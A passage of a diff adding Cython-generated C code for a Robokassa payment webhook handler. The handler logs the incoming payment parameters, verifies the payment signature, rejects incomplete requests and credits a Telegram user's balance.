__pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 164, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L10_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 164, __pyx_L4_error) + __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); + } else { + __pyx_t_4 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 164, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_params = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":166 + * params = await request.post() + * + * logger.info(f"Received webhook params: {params}") # <<<<<<<<<<<<<< + * + * amount = params.get("OutSum") + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 166, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_info); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 166, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_params, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 166, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_8 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Received_webhook_params, __pyx_t_5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 166, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_8}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 166, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":168 + * logger.info(f"Received webhook params: {params}") + * + * amount = params.get("OutSum") # <<<<<<<<<<<<<< + * inv_id = params.get("InvId") + * shp_id = params.get("shp_id") + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 168, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_n_u_OutSum}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 168, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":169 + * + * amount = params.get("OutSum") + * inv_id = params.get("InvId") # <<<<<<<<<<<<<< + * shp_id = params.get("shp_id") + * signature_value = params.get("SignatureValue") + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 169, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_n_u_InvId}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 169, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_inv_id = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":170 + * amount = params.get("OutSum") + * inv_id = params.get("InvId") + * shp_id = params.get("shp_id") # <<<<<<<<<<<<<< + * signature_value = params.get("SignatureValue") + * + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 170, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_n_u_shp_id}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 170, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_shp_id = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":171 + * inv_id = params.get("InvId") + * shp_id = params.get("shp_id") + * signature_value = params.get("SignatureValue") # <<<<<<<<<<<<<< + * + * logger.info( + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_params, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 171, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_n_u_SignatureValue}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 171, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_signature_value = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":173 + * signature_value = params.get("SignatureValue") + * + * logger.info( # <<<<<<<<<<<<<< + * f"OutSum: {amount}, InvId: {inv_id}, shp_id: {shp_id}, SignatureValue: {signature_value}" + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_logger); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 173, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_info); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 173, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/robokassa_pay.py":174 + * + * logger.info( + * f"OutSum: {amount}, InvId: {inv_id}, shp_id: {shp_id}, SignatureValue: {signature_value}" # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_6 = PyTuple_New(8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_9 = 0; + __pyx_t_10 = 127; + __Pyx_INCREF(__pyx_kp_u_OutSum_2); + __pyx_t_9 += 8; + __Pyx_GIVEREF(__pyx_kp_u_OutSum_2); + PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_kp_u_OutSum_2); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u_InvId_2); + __pyx_t_9 += 9; + __Pyx_GIVEREF(__pyx_kp_u_InvId_2); + PyTuple_SET_ITEM(__pyx_t_6, 2, __pyx_kp_u_InvId_2); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_inv_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_6, 3, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u_shp_id_2); + __pyx_t_9 += 10; + __Pyx_GIVEREF(__pyx_kp_u_shp_id_2); + PyTuple_SET_ITEM(__pyx_t_6, 4, __pyx_kp_u_shp_id_2); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_shp_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_6, 5, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u_SignatureValue_2); + __pyx_t_9 += 18; + __Pyx_GIVEREF(__pyx_kp_u_SignatureValue_2); + PyTuple_SET_ITEM(__pyx_t_6, 6, __pyx_kp_u_SignatureValue_2); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_signature_value, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_6, 7, __pyx_t_5); + __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyUnicode_Join(__pyx_t_6, 8, __pyx_t_9, __pyx_t_10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_5}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 173, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":177 + * ) + * + * if not check_payment_signature(params): # <<<<<<<<<<<<<< + * logger.error(" .") + * return web.Response(status=400) + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_check_payment_signature); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 177, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_cur_scope->__pyx_v_params}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 177, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_t_11 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely((__pyx_t_11 < 0))) __PYX_ERR(0, 177, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_12 = (!__pyx_t_11); + if (__pyx_t_12) { + + /* "handlers/payments/robokassa_pay.py":178 + * + * if not check_payment_signature(params): + * logger.error(" .") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_logger); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 178, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 178, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_kp_u__21}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 178, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":179 + * if not check_payment_signature(params): + * logger.error(" .") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * if not amount or not inv_id or not shp_id: + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 179, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 179, __pyx_L4_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 179, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/robokassa_pay.py":177 + * ) + * + * if not check_payment_signature(params): # <<<<<<<<<<<<<< + * logger.error(" .") + * return web.Response(status=400) + */ + } + + /* "handlers/payments/robokassa_pay.py":181 + * return web.Response(status=400) + * + * if not amount or not inv_id or not shp_id: # <<<<<<<<<<<<<< + * logger.error(" .") + * return web.Response(status=400) + */ + __pyx_t_11 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_amount); if (unlikely((__pyx_t_11 < 0))) __PYX_ERR(0, 181, __pyx_L4_error) + __pyx_t_13 = (!__pyx_t_11); + if (!__pyx_t_13) { + } else { + __pyx_t_12 = __pyx_t_13; + goto __pyx_L13_bool_binop_done; + } + __pyx_t_13 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_inv_id); if (unlikely((__pyx_t_13 < 0))) __PYX_ERR(0, 181, __pyx_L4_error) + __pyx_t_11 = (!__pyx_t_13); + if (!__pyx_t_11) { + } else { + __pyx_t_12 = __pyx_t_11; + goto __pyx_L13_bool_binop_done; + } + __pyx_t_11 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_shp_id); if (unlikely((__pyx_t_11 < 0))) __PYX_ERR(0, 181, __pyx_L4_error) + __pyx_t_13 = (!__pyx_t_11); + __pyx_t_12 = __pyx_t_13; + __pyx_L13_bool_binop_done:; + if (__pyx_t_12) { + + /* "handlers/payments/robokassa_pay.py":182 + * + * if not amount or not inv_id or not shp_id: + * logger.error(" .") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 182, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 182, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_kp_u__22}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 182, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/robokassa_pay.py":183 + * if not amount or not inv_id or not shp_id: + * logger.error(" .") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * tg_id = shp_id + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_web); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 183, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_Response); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 183, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 183, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 183, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 183, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/robokassa_pay.py":181 + * return web.Response(status=400) + * + * if not amount or not inv_id or not shp_id: # <<<<<<<<<<<<<< + * logger.error(" .") + * return web.Response(status=400) + */ + } + + /* "handlers/payments/robokassa_pay.py":185 + * return web.Response(status=400) + * + * tg_id = shp_id # <<<<<<<<<<<<<< + * + * logger.info(f"Processing payment for user {tg_id} with amount {amount}.") + */ + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_shp_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_shp_id); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_cur_scope->__pyx_v_shp_id; + + /* "handlers/payments/robokassa_pay.py":187 + * tg_id = shp_id + * + * logger.info(f"Processing payment for user {tg_id} with amount {amount}.") # <<<<<<<<<<<<<< + * + * await update_balance(int(tg_id), float(amount)) + */ + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_logger); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_info); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = PyTuple_New(5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_9 = 0; + __pyx_t_10 = 127; + __Pyx_INCREF(__pyx_kp_u_Processing_payment_for_user); + __pyx_t_9 += 28; + __Pyx_GIVEREF(__pyx_kp_u_Processing_payment_for_user); + PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_kp_u_Processing_payment_for_user); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + 